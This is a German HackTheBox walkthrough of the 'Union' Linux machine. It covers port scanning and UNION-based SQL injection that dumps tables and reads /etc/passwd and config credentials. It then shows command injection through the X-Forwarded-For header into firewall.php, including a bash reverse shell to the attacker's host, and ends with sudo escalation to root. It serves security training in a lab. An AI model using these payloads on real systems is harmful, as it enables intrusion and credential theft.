> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/union-hackthebox-writeup.md).

# Union HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/Union>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* SQLI (SQL-Injection) - UNION-Injection
* SQLI - Dateien lesen
* HTTP-Header-Befehlseinfügung - X-FORWARDED-FOR (RCE)
* Ausnutzung von sudoers-Rechten (Rechteausweitung)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/37f7f88887c0fe922800ce545a9f7f7b660222b6" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/01d888a61f20b248fe48eda201b1aede841f2da0" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.128 -oG allPorts
```

<figure><img src="/files/f7458e1c64ee1862668e3dd0f2b124999880c10f" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwendung der Funktion extractPorts, um offene Ports in kompakter Form anzuzeigen und in die Zwischenablage zu kopieren (80)

```bash
nmap -sCV -p80 10.10.11.128 -oN targeted
```

<figure><img src="/files/640211e62cd1453467433ec6fdb98004dbde36e4" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="/files/f6f10ec0b9d244039e02dae0d735eab1f5eb6ae1" alt=""><figcaption></figcaption></figure>

### Dateiliste

mit gobuster wird eine Dateiaufzählung mit PHP-Erweiterungen durchgeführt

```bash
gobuster dir -u http://10.10.11.128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x php,txt
```

Es gibt zwei Dateien, die von außen nicht zugänglich sind: `config.php` und `firewall.php`.

<figure><img src="/files/dd979ce2801eca6d9b1f089f071a457d2d9ceec5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e3cb40ff2e37d259f7b1e28eae596d377a92ab3c" alt=""><figcaption></figcaption></figure>

In `index.php`Wenn wir ein Name in das Formular eintragen, erscheint er in der Antwort.

<figure><img src="/files/6e38bfa63847449097c376003ee19749c8a7268c" alt=""><figcaption></figcaption></figure>

Die Challenge-Datei fordert uns nach einer Flagge auf

<figure><img src="/files/061ee12e5c2ccab34cdbcacba899dfb0fc3ee814" alt=""><figcaption></figcaption></figure>

## Schwachstelle SQLI - UNION-Injection

Wir fangen die Anfrage mit Burp Suite ab und ändern die Variable `Spieler`:

<figure><img src="/files/0b3b82ad94bfec122b176ebf37b41dd5046d6eb5" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select database()-- -
```

Der Name der Datenbank ist `november`.

<figure><img src="/files/c0b0c543f07f9b0170a6ccabbc5419f1e06f12f1" alt=""><figcaption></figcaption></figure>

Um alle Datenbanken aufzulisten:

```sql
jordan' union select group_concat(schema_name) from information_schema.schemata-- -
```

Ergebnis: `mysql,information_schema,performance_schema,sys, november`

<figure><img src="/files/024f129e71084c373f48a1764600e0728129af58" alt=""><figcaption></figcaption></figure>

Liste die Tabellen in `november`:

```sql
jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- -
```

<figure><img src="/files/567950cf3fc71542691342160bf153bd19a71c73" alt=""><figcaption></figcaption></figure>

Liste die Spalten in der `players` Tabelle:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- -
```

Gefundene Spalten: `Spieler`

<figure><img src="/files/6c338630c607863045b3ff0270a6c198c9d26e65" alt=""><figcaption></figcaption></figure>

**Extraktion von Benutzerdaten**

```sql
jordan' union select group_concat(player,':') from players-- -
```

Gefundene Spieler: `ippsec,celesian,big0us,luska,tinyboy`

<figure><img src="/files/bb95658670d11463c172c5479309049d8166aca6" alt=""><figcaption></figcaption></figure>

Flaggenextraktion:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- -
```

<figure><img src="/files/3f0a17e80c3cc9c3c359c7728283f9abe06a2a37" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select group_concat(one,':') from flag-- -
```

<figure><img src="/files/ddd7b3d3546ec163e3eb1c534e0b48bc4f31fab3" alt=""><figcaption></figcaption></figure>

* Gefundene Flagge: `UHC{F1rst_5tep_2_Qualify}`

## **SQLI - Dateien lesen**

Lesen `/etc/passwd`:

```sql
jordan' union select load_file('/etc/passwd');-- -
```

Wir finden einen `uhc` Benutzer.

<figure><img src="/files/9d5dd11caf3258092537c4fa010ad49065fbd0b1" alt=""><figcaption></figcaption></figure>

### Flagge user.txt

Lesen `user.txt`:

```sql
jordan' union select load_file('/home/uhc/user.txt');-- -
```

<figure><img src="/files/d91e672292c1bc229953c9bca62f89c0703ebdf8" alt=""><figcaption></figcaption></figure>

Lesen `config.php`Wir finden Datenbank-Anmeldedaten:

<figure><img src="/files/34d4b47c077b12c54661fdc89b06e134003fb513" alt=""><figcaption></figcaption></figure>

<pre class="language-sql"><code class="lang-sql">$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
<strong>$dbname = "november"
</strong></code></pre>

Lesen `firewall.php`Wir verstehen, dass das Einreichen der Flagge den SSH-Port öffnet:

```sql

jordan' union select load_file('/var/www/html/firewall.php');-- -
```

<figure><img src="/files/764c7e5a853b6dfc554b3e2271d5dbad81b301cc" alt=""><figcaption></figcaption></figure>

Wir senden die Flagge ein: `UHC{F1rst_5tep_2_Qualify}`.

<figure><img src="/files/245d7dc97275b563151c6144cede281b5a775873" alt=""><figcaption></figcaption></figure>

Port 22 ist jetzt offen.<br>

<figure><img src="/files/98df51552585a241ebb83eacf396355a807e0ac2" alt=""><figcaption></figcaption></figure>

### SSH-Verbindung

Wir verwenden die identifizierten Anmeldedaten, um uns anzumelden:

```bash
ssh uhc@10.10.11.128

uhc-11qual-global-pw
```

<figure><img src="/files/c4af2b40de3db4c7368c05caed957ee21a43f9eb" alt=""><figcaption></figcaption></figure>

## **Privilegieneskalation**

### HTTP-Header-Befehlseinfügung - X-FORWARDED-FOR (RCE)

Wenn du dir die `firewall.php` Datei ansiehst, fällt dir auf, dass sie den `HTTP_X_FORWARDED_FOR` Header ausliest und ihn mit `sudo` verwendet, um einen Befehl auszuführen:

```php
  if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  } else {
    $ip = $_SERVER['REMOTE_ADDR'];
  };
  system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
```

<figure><img src="/files/ab9ee57c02496dcd4174c8afd8b59e21ab2d7021" alt=""><figcaption></figcaption></figure>

Da diese Variable über eine HTTP-Anfrage gesteuert werden kann, können wir einen beliebigen Befehl einschleusen.

**Ausnutzung**

Da dies ein HTTP-Header ist, können wir einen Befehl einschleusen, zum Beispiel mit `curl` um unseren Webserver zu kontaktieren.

**Einrichten eines Webservers:**

```bash
python3 -m http.server 80
```

**Kontrolle der Injektion mit `curl`:**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;curl http://10.10.14.47/test;' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```

{% endcode %}

<figure><img src="/files/84b9841f8ad6f496173ddb79d71d9856192333df" alt=""><figcaption></figcaption></figure>

**Reverse Shell**

**Auf Port 443 lauschen:**

```bash
nc -nlvp 443
```

**Befehl, um eine Remote-Shell zu erhalten:**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >&/dev/tcp/10.10.14.47/443 0>&1";' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```

{% endcode %}

Sobald wir verbunden sind, sind wir der Benutzer `www-data`.

<figure><img src="/files/1a36225ad7b17b7ba4ed909df69084d30a36aea2" alt=""><figcaption></figcaption></figure>

#### Terminal-Stabilisierung

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### SUDO - (ALLE:ALLE)

Mit dem folgenden Befehl prüfen wir `sudo` Berechtigungen:

```bash
sudo -l 
```

<figure><img src="/files/7ef8cb44af6844377ba0c647c308c70f38b16fd1" alt=""><figcaption></figcaption></figure>

Wenn wir sehen, dass `www-data` beliebige Befehle als beliebiger Benutzer ausführen kann (`(ALLE: ALLE) ALLE`), dann können wir mit folgendem Befehl eine Root-Shell starten:

```bash
sudo /bin/bash -p
```

<figure><img src="/files/b4fe077f996e3d940d8a9c434eb03b607b142f82" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/282c1cd7200368197e065e07236cca93a7e1f953" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/917503d034414c93b153f6eb7ba136dbf59ace48" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/union-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
